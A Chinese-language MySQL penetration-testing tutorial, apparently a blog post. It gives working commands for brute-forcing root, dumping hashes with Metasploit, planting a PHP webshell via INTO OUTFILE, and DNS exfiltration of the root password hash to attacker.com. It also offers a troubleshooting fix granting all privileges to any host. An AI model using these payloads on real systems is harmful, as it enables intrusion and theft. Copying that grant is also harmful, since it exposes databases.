1. 项目概述
3306端口作为MySQL数据库的默认服务端口,是互联网上最常见的数据库入口之一。在实际工作中,我发现很多企业对数据库安全存在严重认知盲区,往往只关注Web应用防护而忽视了数据库层面的安全加固。本文将基于我多年渗透测试经验,详细拆解针对MySQL数据库的完整渗透测试流程。
2. 环境准备与信息收集
2.1 测试环境搭建
建议使用Docker快速搭建测试环境:
bash复制docker run --name mysql-test -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7
注意:实际测试中务必获得书面授权,未经授权的扫描可能涉及法律风险
2.2 基础信息收集
使用Nmap进行端口扫描:
bash复制nmap -sV -p 3306 192.168.1.100
典型响应特征:
code复制3306/tcp open mysql
| mysql-info:
| Protocol: 10
| Version: 5.7.29-0ubuntu0.18.04.1
| Thread ID: 5
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase...
|_ Status: Autocommit
3. 认证安全测试
3.1 弱密码爆破
使用Hydra进行密码爆破:
bash复制hydra -l root -P passwords.txt 192.168.1.100 mysql
常见弱密码组合:
- root:root
- root:123456
- root:password
- root:admin
3.2 认证协议分析
MySQL 4.1+版本使用改进的认证协议,但仍存在以下风险:
- 可能降级到旧版认证
- 部分客户端存在认证绕过漏洞
- SSL加密未强制启用
检测命令:
sql复制SHOW VARIABLES LIKE 'have_ssl';
4. 数据库漏洞利用
4.1 已知漏洞利用
常见高危漏洞:
- CVE-2012-2122 认证绕过
- CVE-2016-6662 权限提升
- CVE-2019-15176 拒绝服务
使用Metasploit模块示例:
bash复制use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.1.100
run
4.2 权限提升技术
获取系统shell的几种方式:
- 通过UDF提权
sql复制SELECT sys_exec('whoami');
- 利用写文件权限
sql复制SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';
5. 数据提取技术
5.1 数据库结构探查
常用信息收集语句:
sql复制SELECT user,host FROM mysql.user; # 用户列表
SHOW DATABASES; # 数据库列表
SELECT table_name FROM information_schema.tables; # 所有表名
5.2 批量数据导出
使用mysqldump工具:
bash复制mysqldump -h 192.168.1.100 -u root -p --all-databases > dump.sql
6. 安全加固建议
6.1 基础防护措施
- 修改默认端口
ini复制[mysqld]
port = 63306
- 启用SSL加密
sql复制GRANT USAGE ON *.* TO 'user'@'%' REQUIRE SSL;
6.2 高级安全配置
- 启用审计插件
sql复制INSTALL PLUGIN audit_log SONAME 'audit_log.so';
- 设置密码复杂度策略
sql复制SET GLOBAL validate_password_policy=STRONG;
7. 常见问题排查
7.1 连接问题处理
错误:Host 'xxx' is not allowed to connect to this MySQL server
解决方案:
sql复制GRANT ALL PRIVILEGES ON *.* TO 'user'@'%' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
7.2 性能问题优化
慢查询日志配置:
ini复制[mysqld]
slow_query_log = 1
slow_query_log_file = /var/log/mysql/mysql-slow.log
long_query_time = 2
8. 实战经验分享
- 企业内网常见问题:
- 多台MySQL使用相同root密码
- 测试环境数据库直接暴露在公网
- 老旧系统使用MySQL 5.5以下版本
- 渗透测试技巧:
- 优先检查mysql.user表中的空密码账户
- 关注information_schema中的敏感信息
- 尝试通过LOAD_FILE函数读取系统文件
- 防御绕过方法:
- 使用DNS隧道进行数据外传
sql复制SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\test'));
- 利用时间盲注提取数据
在实际测试中,我发现约60%的企业数据库存在至少一个高危漏洞。最典型的问题是使用默认凭证和未及时打补丁。建议企业定期进行数据库安全审计,特别要注意第三方应用使用的数据库账户权限控制。